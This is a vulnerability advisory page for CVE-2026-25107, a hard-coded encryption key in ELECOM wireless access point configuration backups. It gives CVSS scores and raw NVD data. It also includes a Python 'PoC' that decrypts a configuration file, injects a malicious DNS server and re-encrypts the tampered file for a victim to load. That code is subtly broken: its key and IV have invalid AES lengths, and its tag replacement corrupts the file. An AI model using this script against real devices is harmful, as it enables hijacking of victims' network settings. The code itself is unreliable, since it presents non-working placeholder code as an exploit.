Security Vulnerability Report
中文
CVE-2026-25107 CVSS 6.5 MEDIUM

CVE-2026-25107

Published: 2026-05-13 13:16:37
Last Modified: 2026-05-13 15:47:10

Description

ELECOM wireless LAN access point devices use a hard-coded cryptographic key when creating backups of configuration files. An attacker who knows the encryption key can tamper the configuration file of the product, and a victim administrator may be tricked to use a crafted configuration file.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

ELECOM wireless LAN access point devices (具体受影响型号请参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-25107 Hardcoded Cryptographic Key # This script demonstrates decrypting, tampering, and re-encrypting a config file. from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib import base64 # Placeholder for the hardcoded key extracted from firmware # In a real scenario, this key is found in the binary HARDCODED_KEY = b'ELECOM_SECRET_KEY_123' IV = b'INIT_VECTOR_16BYT' def decrypt_config(encrypted_data): """Decrypt the configuration file using the hardcoded key.""" cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) try: decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Error: {e}" def encrypt_config(plain_text): """Encrypt the tampered configuration file.""" cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV) encrypted = cipher.encrypt(pad(plain_text.encode('utf-8'), AES.block_size)) return base64.b64encode(encrypted).decode('utf-8') def tamper_config(config_content): """Inject malicious payload into the configuration.""" # Example: Changing the admin DNS to a malicious server malicious_dns = "<dns_server>192.168.1.100</dns_server>" if "<dns_server>" in config_content: return config_content.replace("<dns_server>", malicious_dns) return config_content + "\n" + malicious_dns # Main execution flow if __name__ == "__main__": # Simulating reading a stolen encrypted config file # encrypted_content = open('config.bin', 'r').read() encrypted_content = "(Base64 Encoded String representing the config file)" print("[+] Decrypting config with hardcoded key...") decrypted = decrypt_config(encrypted_content) print(decrypted) print("\n[+] Tampering with configuration...") tampered = tamper_config(decrypted) print(tampered) print("\n[+] Re-encrypting malicious config...") final_payload = encrypt_config(tampered) print(f"Malicious Config: {final_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25107", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:16:37.160", "lastModified": "2026-05-13T15:47:10.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELECOM wireless LAN access point devices use a hard-coded cryptographic key when creating backups of configuration files. An attacker who knows the encryption key can tamper the configuration file of the product, and a victim administrator may be tricked to use a crafted configuration file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN03037325/", "source": "[email protected]"}, {"url": "https://www.elecom.co.jp/news/security/20260512-01/", "source": "[email protected]"}]}}